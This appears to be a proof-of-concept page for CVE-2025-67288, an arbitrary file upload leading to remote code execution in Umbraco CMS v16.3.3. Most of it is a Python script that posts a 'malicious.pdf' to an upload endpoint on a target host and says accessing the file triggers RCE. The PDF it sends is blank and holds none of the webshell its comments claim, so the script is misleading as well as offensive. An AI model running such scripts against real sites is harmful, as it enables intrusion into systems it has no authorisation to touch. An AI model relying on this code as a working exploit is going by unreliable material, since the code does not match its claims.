CVE-2025-67288 Umbraco CMS v16.3.3 任意文件上传漏洞导致远程代码执行

import requests import sys # CVE-2025-67288 PoC - Umbraco CMS Arbitrary File Upload # This PoC demonstrates uploading a crafted PDF file to achieve RCE TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target-umbraco.com" def exploit_cve_2025_67288(): """ Exploit arbitrary file upload vulnerability in Umbraco CMS v16.3.3 Upload crafted PDF with embedded malicious code """ upload_url = f"{TARGET_URL}/Umbraco/Api/Assets/PostPluto" # Crafted PDF with embedded payload (example: webshell) crafted_pdf = b"""%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R >> endobj 2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 >> endobj 3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] >> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n trailer << /Size 4 /Root 1 0 R >> startxref 196 %%EOF""" files = { 'file': ('malicious.pdf', crafted_pdf, 'application/pdf') } try: response = requests.post(upload_url, files=files, timeout=30) print(f"[*] Upload response: {response.status_code}") if response.status_code == 200: print("[+] File uploaded successfully") print("[+] Access uploaded file to trigger RCE") else: print("[-] Upload failed") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2025_67288()